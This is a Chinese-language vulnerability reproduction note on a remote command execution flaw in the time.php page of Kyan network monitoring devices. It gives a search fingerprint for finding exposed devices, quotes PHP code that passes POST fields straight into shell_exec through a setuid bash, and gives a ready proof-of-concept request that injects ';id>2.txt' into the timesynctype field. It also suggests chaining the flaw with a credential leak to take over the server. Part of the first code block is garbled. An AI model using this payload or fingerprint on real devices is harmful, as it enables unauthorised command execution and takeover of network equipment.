# Kyan 网络监控设备 time.php 远程命令执行漏洞 ## 漏洞描述 Kyan 网络监控设备 time.php 可在身份验证的情况下执行任意命令, 配合账号密码泄露漏洞，可以获取服务器权限，存在远程命令执行漏洞 ## 漏洞影响 Kyan ## 网络测绘 title="platform - Login" ## 漏洞复现 登录页面如下 ![img](/library/img/1631179527807-e2a16825-af31-4f88-a5ef-32752795774b.png) 存在漏洞的文件: `/time.php` ```python \n"; echo " \n"; echo " \n"; echo " \n"; echo " \n"; echo " \n"; echo " time\n"; echo ""; echo " \n"; //print_html_begin("time"); ?>
> :
``` 其中需要注意的地方 ```python if($_SERVER['REQUEST_METHOD'] == 'POST') { if(!user_is_admin()) { showErrMessage("permission denied"); exit; } $timesynctype = $_POST["timesynctype"]; if($timesynctype!="client") { $output = shell_exec("/bin/bashsuid -p -c \"/usr/sbin/ntpdate " .$timesynctype. "\""); showMessage($output); shell_exec("/bin/bashsuid -p -c \"hwclock --systohc\""); }else { $ctime = $_POST["ctime"]; shell_exec("/bin/bashsuid -p -c \"date " .$ctime. "\""); shell_exec("/bin/bashsuid -p -c \"hwclock --systohc\""); } } ``` 参数均可控，构造POC ```python POST /time.php timesynctype=;id>2.txt ``` ![img](/library/img/1631233295865-9e39ed70-d6e2-4ccf-8feb-02f763f4fc02.png)